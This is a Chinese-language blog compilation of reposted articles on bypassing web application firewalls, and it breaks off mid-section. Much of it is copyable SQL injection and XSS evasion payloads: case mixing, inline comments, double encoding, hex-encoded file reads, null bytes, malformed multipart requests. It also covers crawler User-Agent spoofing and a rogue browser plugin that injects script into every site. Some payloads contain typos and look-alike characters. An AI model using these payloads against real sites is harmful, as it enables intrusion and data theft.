分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow
也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!
技术分享:杂谈如何绕过WAF(Web应用防火墙)
0×01开场白
这个议题呢,主要是教大家一个思路,而不是把现成准备好的代码放给大家。
可能在大家眼中WAF(Web应用防火墙)就是“不要脸”的代名词。如果没有他,我们的“世界”可能会更加美好。但是事与愿违。没有它,你让各大网站怎么活。但是呢,我是站在你们的这一边的,所以,今天我们就来谈谈如何绕过WAF吧。之所以叫做“杂谈”,是因为我在本次演讲里,会涉及到webkit、nginx&apache等。下面正式开始:)
0×02直视WAF:
作为第一节,我先为大家简单的说下一些绕过WAF的方法。
一:大小写转换法:
看字面就知道是什么意思了,就是把大写的小写,小写的大写。比如:
SQL:sEleCt vERsIoN();XSS:<sCrIpt>alert(1)</script>
出现原因:在waf里,使用的正则不完善或者是没有用大小写转换函数
二:干扰字符污染法:
空字符、空格、TAB换行、注释、特殊的函数等等都可以。比如下面的:
SQL:sEleCt+1-1+vERsIoN /*!*/ ();`yoheheSQL2:select/*!*/`version`();
XSS:下面一节会仔细的介绍
出现原因:利用网站使用的语言函数特性来绕过waf的规则或者使用会无视的字符
三:字符编码法:
就是对一些字符进行编码,常见的SQL编码有unicode、HEX、URL、ascll、base64等,XSS编码有:HTML、URL、ASCII、JS编码、base64等等
SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)XSS:<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
出现原因:利用浏览器上的进制转换或者语言编码规则来绕过waf
四:拼凑法:
如果过滤了某些字符串,我们可以在他们两边加上“原有字符串”的一部分。
SQL:selselectect verversionsion();XSS:<scr<script>rip>alalertert</scr</script>rip>
出现原因:利用waf的不完整性,只验证一次字符串或者过滤的字符串并不完整。
本节是告诉大家,waf总会有自己缺陷的,任何事物都不可能完美。
0×03站在webkit角度来说绕过WAF:
可能这时会有人问到,说绕过WAF,怎么跑到webkit上去了。嗯,你没有看错,我也没有疯。之说以站在webkit角度来讲绕过WAF,是因为各个代码的功能是由浏览器来解析的。那浏览器中谁又负责解析呢?那就是webkit, 既然要说到webkit,那就不得不提webkit下的解析器——词法分析器,因为我们在绕过的时候,就是利用解析器中的词法分析器来完成。
就比如一个简单的绕过WAF的XSS代码:
<iframe src="javascript:alert(1)" height=0 width=0 /><iframe> <!--Java和script是回车,al和ert是Tab换行符-->
他可以弹窗,可以为什么他可以弹窗呢?这里面有回车、换行符啊。想要理解,我们来看看webkit下的Source/javascriptcore/parser/lexer.cpp是怎么声明的吧。
while (m_current != stringQuoteCharacter) { if (UNLIKELY(m_current =='\\')) { if (stringStart != currentSourcePtr() && shouldBuildStrings) append8(stringStart, currentSourcePtr() - stringStart); shift(); LChar escape = singleEscape(m_current); // Most common escape sequences first if (escape) { if (shouldBuildStrings) record8(escape); shift(); } else if (UNLIKELY(isLineTerminator(m_current))) shiftLineTerminator();
注意倒数第二行里的isLineTerminator函数。这里我来说说大致的意思:所有的内容都在一个字符串里,用while逐字解析,遇到换行就跳过。然后在拼成一个没有分割符的字符串,所以这时的XSS代码成功弹窗了。
Webkit里的词法分析器里除了跳过换行符,还会跳过什么字符呢?
子曰:还有回车等分隔符。
根据webkit词法分析器的机制,我们就可以写更多的猥琐xss代码。
下面再说说这个注意事项:
<iframe src="javascript:alert(1)" height=0 width=0 /><iframe> <!--这个可以弹窗--><iframe src=javascript:alert(1); height=0 width=0 /><iframe> <!--这个不可以弹窗-->
因为在webkit的词法分析器里,跳过回车、换行等分隔符时有个前提,那就是必须用单/双引号围住,不然不会跳过。因为如果不使用引号,词法分析器会认为 回车、换行就是结束了,如果你运行上面这段代码,webkit会把java当做地址传给src。词法分析器跳过的前提就是建立在引号里的,切记。
这里在说一个:
回车、换行只在属性中引号里才会起作用。如果你对标签或者属性用 回车、换行,这时你大可放心,决对不会弹窗。而且在属
性值里 回车、换行随便用。如果空格出现在xss代码里并不会弹窗,但是如果出现在字符和符号之前,就可以弹了。如图:
注意事项:
跳过回车和换行,不支持on事件。例如下面的代码
<a href="javascript:alert(1)">xss</a>会弹窗,但是下面的代码就不行了<a href="#" onclick="alert(1)">s</a>可见加了Tab换行,就无法弹窗了。但是还是支持字符和符号之间加入空格的。
本节就是告诉大家,想要玩的更好,最好追溯到底层,从底层来看攻击手法,你会发现很多问题迎刃而解。
0×04 利用Nginx&Apache环境 BUG来绕过waf:
这个bug比较鸡肋,需要在nginx&apache环境,而且管理员较大意。
这是一个不是bug的bug。
当网站采用前端Nginx,后端Apache时,需要在conf配置,当遇到PHP后缀的时候,把请求交给Apache处理。但是Nginx判断后缀是否为PHP的原理是根据URL的。也就是说如果当URL的后缀不是PHP的时候,他并不会把PHP教给Apache处理。
配置:
乍一看,没什么问题。但是这里隐藏一个漏洞。
我在test目录建立一个index.php:
利用nginx&apache这个bug,再加上浏览器默认会隐藏index.php文件名,那么漏洞就来了。
访问a.cn/test/index.php?text=<script>alert(1)</script>不会弹窗,被waf.conf给拦截了。
访问a.cn/test/?text=<script>alert(1)</script>会弹窗,没有被waf.conf给拦截,因为nginx根据URL判断这不是php文件,并没有交给apache处理,也就没有走第三个location流程。
本节是告诉大家,绕过WAF不用一直针对WAF,也可以利用环境/第三方的缺陷来绕过。
0×05 从HTTP数据包开始说起:
一:现在有一部分网站waf是部署在客户端上的,利用burp、fiddler就可以轻松绕过。
很多时候我们遇到的情况就像这段代码一样:
<input type="text" name="text"><input type="submit" onclick="waf()">
把waf规则放到js里。我们可以提交一个woaini字符串,然后用burp、fiddler抓包、改包、提交,轻轻松松的绕过了客服端的WAF机制。
二:有的网站,他们对百度、google、soso、360等爬虫请求并不过滤,这时我们就可以在USER-Agent伪造自己是搜索引擎的爬虫,就可以绕过waf
三:有的网站使用的是$_REQUEST来接受get post cookie参数的,这时如果waf只对GET POST参数过滤了,那么久可以在数据包里对cookie进行构造攻击代码,来实现绕过waf。
四:有的waf对GET POST COOKIE都过滤了,还可以进行绕过。怎么绕过呢?
假设网站会显示你的IP或者你使用的浏览器,那么你就可以对IP、user-agent进行构造,在PHP里X_FORWARDED_FOR和HTTP_CLIENT_IP两个获取IP的函数都可以被修改。
想详细了解的可以去:http://www.freebuf.com/articles/web/42727.html 0×06节。
本节告诉我们waf是死的,人是活的,思想放开。不要跟着WAF的思路走,走出自己的思路,才是最正确的。
0×06 WAF你算个屌:
很多人认为绕过WAF需要根据WAF的规则来绕过。但是我们可以忽视他,进行攻击。
我们利用第三方插件来进行攻击,因为第三方插件的权限非常大,而且他有一个特殊的性质,就是他可以跨域。
我们可以事先在插件里调用一个js代码,对方安装之后浏览任何网站都可以被XSS。
我们现在来看段Maxthon插件的源码:
def.Json:
test.js:
统一放在一个文件夹里,再用Mxpacke.exe生成一个遨游插件。
双击就可以安装这个插件。
这不算是一个漏洞,因为插件必须要运行js代码,而XSS的宗旨就是 在网站里运行你所指定的js代码。所以,这个xss没办法修复,而且chrome 火狐 等浏览器都存在。
资料下载
PPT、DOC下载:http://pan.baidu.com/s/1pJ6wxj9
来源:http://www.freebuf.com/articles/web/54686.html
waf 绕过的技巧
研究过国内外的waf。分享一些 奇淫绝技。
一些大家都了解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql
tips1: 神奇的 ` (格式输出表的那个控制符)
过空格和一些正则。
mysql> select`version`() -> ; +----------------------+ | `version`() | +----------------------+ | 5.1.50-community-log | +----------------------+ 1 row in set (0.00 sec)
一个更好玩的技巧,这个`控制符可以当注释符用(限定条件)。
mysql> select id from qs_admins where id=1;`dfff and comment it; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec)
usage : where id ='0'`'xxxxcomment on.
tips2:神奇的- + .
mysql> select id from qs_admins; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec)mysql> select+id-1+1.from qs_admins; +----------+ | +id-1+1. | +----------+ | 1 | +----------+ 1 row in set (0.00 sec)mysql> select-id-1+3.from qs_admins; +----------+ | -id-1+3. | +----------+ | 1 | +----------+ 1 row in set (0.00 sec)
(有些人不是一直在说关键字怎么过?过滤一个from ... 就是这样连起来过)
tips3: @
mysql> select@^1.from qs_admins; +------|+ | @^1. | +------|+ | NULL | +------|+
这个是bypass 曾经dedeCMS filter .
或者这样也是ok.
tips4:mysql function() as xxx 也可以不用as 和空格
mysql> select-count(id)test from qs_admins; +------|+ | test | +------|+ | -1 | +------|+ 1 row in set (0.00 sec)
tips5:/*![>5000]*/ 新构造 版本号(这个可能有些过时了。)
mysql> /\*!40000select\*/ id from qs_admins; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec)
先分享这么多,哈。
来源:http://drops.wooyun.org/tips/132
浅谈WAF绕过
因工作原因研究了几天WAF绕过,简单分享下WAF绕过思路。
对一些攻击特征串进行不同的编码,如:URL编码,ASCII,Unicode.使用一些非标准的编码很容易就造成WAF BYPASS.
一些字符非标准的unicode码:
用NULL对数据截断,经测试发现,灵活使用NULL字节可以有效避开配置为阻止包含已知攻击字符串的请求的WAF。
有时,把使用GET方法的攻击转换成使用POST方法的攻击可能会避开某些过滤。许多应用程序在整个应用程序中执行某正常规过滤,阻止已知的攻击字符串。如果一个应用程序希望收到使用GET方法的请求,它能之对URL查询字符串执行这种过滤。将请求转换为使用POST就可以完全避开这种过滤。
看一个在没有正确解析HTTP Request数据包导致的WAF绕过,触发一个XSS:
POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=x’;filename=”‘;name=payload;”
<script>alert(1)</script>
–0000–
正常的HTTP应该是如下:
POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=”upfile”; filename=”payload”
<script>alert(1)</script>
–0000–
对比上面俩个HTTP头,给我们提供了WAF绕过的思路,修改攻击特征串或HTTP中的一细节,让WAF无法解析或者解析错误导致绕过。(许多WAF对无法解析的HTTP头,默认直接BYPASS)
罗列了一小部分的基本的绕过技巧(许多技巧因与工作相关无法分享,望见谅~^_^)。
这些技巧不一定能成功绕过WAF,但在许多场合下,通过一些基本技巧组合的使用,能提高绕过WAF的成功率,甚至完全BYPASS。
Sql Injection Bypass
大小写变种:
UnIon/**/sElEcT/**/1,2,3/**/fRoM/**/Users–
使用注释:
如上。在MySql中使用类似如下攻击依然有效:
‘/**/UN/**/ION/**/SEL/**/ECT/**/1,2,3/**/FROM/table–
内联内容(MySql Only):
/*!UnIoN*/SeLecT+1,2,3–
/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()–
嵌套表达式:
UNunionION+SEselectLECT+1,2,3–
编码:
2次URL编码:
%252f%252a*/union%252f%252a*/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users–
ASCII:
“SELECT” ASCII Encode in databases.
MySql: char(83,69,76,69,67,84)
Oracle: chr(83)||chr(69)||chr(76)||chr(69)||chr(67)||chr(84)
Ms-Sql: char(chr(83)+chr(69)+chr(76)+chr(69)+chr(67)+chr(84))
使用空字节:
%00′ union+select+1,2,3–
uni%0bon+se%0blect+1,2,3–
参数污染(ASP/ASP.NET):
id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
XSS Bypass:
脚本标签:
<object data=”data:text/html,<script>alert(1)</script>”>
<object data=”data:text/html;base64,Jmx0O3NjcmlwdCZndDthbGVydCgxKSZsdDsvc2NyaXB0Jmd0Ow==”>
<a href=”data:text/html;base64,Jmx0O3NjcmlwdCZndDthbGVydCgxKSZsdDsvc2NyaXB0Jmd0Ow==”>xss</a>
脚本伪协议:
<object data=javascript:alert(1)>
<iframe src=javascritpt:alert(1)>
<embed src=javascript:alert(1)>
标签名称:
<iMg οnerrοr=alert(1) scr=a>
<[%00]img οnerrοr=alert(1) scr=a>
<i[%00]mg οnerrοr=alert(1) scr=a>
对标签名陈稍做修改,可以避开仅仅阻止特定标签名陈的过滤:
<x οnclick=alert(1) src=a>xss</x>
来源:http://netsecurity.51cto.com/art/201212/374068.htm
深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法
[目录]
0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 0x05 本文小结 0x06 参考资料
0x00 前言
笔者前几天在做测试时输入攻击向量后页面发生了重定向甚至异常输入也是重定向怀疑其中有WAF在作怪。之前对WAF接触比较少纯粹是新手趁此科普了一下并查阅了一些绕过WAF的方法。所找到的资料中主要分为两类SQL注入和XSS绕过笔者SQL注入同样是新手因此集中了不少资料并进行整理和总结因此有本文的产生。
目前能看到的绕过WAF的SQL注入技术大致有八、九种但是完整的、详细的内容却分布在互联网各个角落。另外我们谈绕过WAF其实也是谈如何绕过过滤机制如果在讨论bypass技术的时候明确一下现有的一些filter的实现及其evasion对于笔者这样的初学者来说是不是更好还有就是如果在文章后面可以提供一些测试向量提供思路和参考虽然内容看起来很杂但是也会比较方便呢?抱着这些想法尽管前人的分享已经比较充分了还是壮着胆自己进行总结这样更能适应自己的需求也可能更加适合一些朋友的需求。
本文所讨论的技术大都几年以前就已经存在了不能保证每种方法在实际测试中都能生效另外为简便起见笔者对形如http://www.site.com的URL约定为z.com。
0x01 WAF的常见特征
之所以要谈到WAF的常见特征是为了更好的了解WAF的运行机制这样就能增加几分绕过的机会了。本文不对WAF做详细介绍只谈及几点相关的。
总体来说WAF(Web Application Firewall)的具有以下四个方面的功能
1. 审计设备用来截获所有HTTP数据或者仅仅满足某些规则的会话 2. 访问控制设备用来控制对Web应用的访问既包括主动安全模式也包括被动安全模式 3. 架构/网络设计工具当运行在反向代理模式他们被用来分配职能集中控制虚拟基础结构等。 4. WEB应用加固工具这些功能增强被保护Web应用的安全性它不仅能够屏蔽WEB应用固有弱点而且能够保护WEB应用编程错误导致的安全隐患。
WAF的常见特点
异常检测协议拒绝不符合HTTP标准的请求 增强的输入验证代理和服务端的验证而不只是限于客户端验证 白名单&黑名单白名单适用于稳定的We应用黑名单适合处理已知问题 基于规则和基于异常的保护基于规则更多的依赖黑名单机制基于异常更为灵活 状态管理重点进行会话保护 另还有Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等
如果是对于扫描器WAF有其识别之道
扫描器识别主要由以下几点
1) 扫描器指纹(head字段/请求参数值)以wvs为例会有很明显的Acunetix在内的标识 2) 单IP+ cookie某时间段内触发规则次数 3) 隐藏的链接标签等(<a>) 4) Cookie植入 5) 验证码验证扫描器无法自动填充验证码 6) 单IP请求时间段内Webserver返回http状态404比例 扫描器探测敏感目录基于字典找不到文件则返回404
0x02 绕过WAF的方法
从笔者目前找到的资料来看可以把这些绕过waf的技术分为9类包含从初级到高级技巧
a) 大小写混合 b)替换关键字 c)使用编码 d)使用注释 e)等价函数与命令 f)使用特殊符号 g)HTTP参数控制 h)缓冲区溢出 i)整合绕过
a) 大小写绕过
大小写绕过用于只针对小写或大写的关键字匹配技术正则表达式/express/i 匹配时大小写不敏感便无法绕过这是最简单的绕过技术
z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例场景可能的情况为filter的规则大小写敏感现在直接使用这种绕过技术成功的可能性已经不高了吧
b)替换关键字
这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过
z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
替换关键字同样是很基础的技术也可以构造得更复杂SeLSeselectleCTecT关键要看正则表达式会进行几次匹配处理了
c)使用编码
1.URL编码
在Chrome中输入一个链接非保留字的字符浏览器会对其URL编码如空格变为%20、单引号%27、左括号%28、右括号%29
普通的URL编码可能无法实现绕过不过存在某种情况URL编码只进行了一次解码过滤可以用两次编码绕过
page.php?id=1%252f%252a*/UNION%252f%252a/SELECT
2.十六进制编码
z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中前者是对单个字符十六进制编码后者则是对整个字符串编码对整个字符串编码相对来说较少见一点
3.Unicode编码
Unicode有所谓的标准编码和非标准编码假设我们用的utf-8为标准编码那么西欧语系所使用的就是非标准编码了
看一下常用的几个符号的一些Unicode编码
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
举例:
?id=10%D6'%20AND%201=2%23 SELECT 'Ä'='A'; #1
两个示例中,前者利用双字节绕过,比如对单引号转义操作变成\',那么就变成了%D6%5C',%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用。
第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过。
另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下。
常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子。
d) 使用注释
看一下常见的用于注释的符号有哪些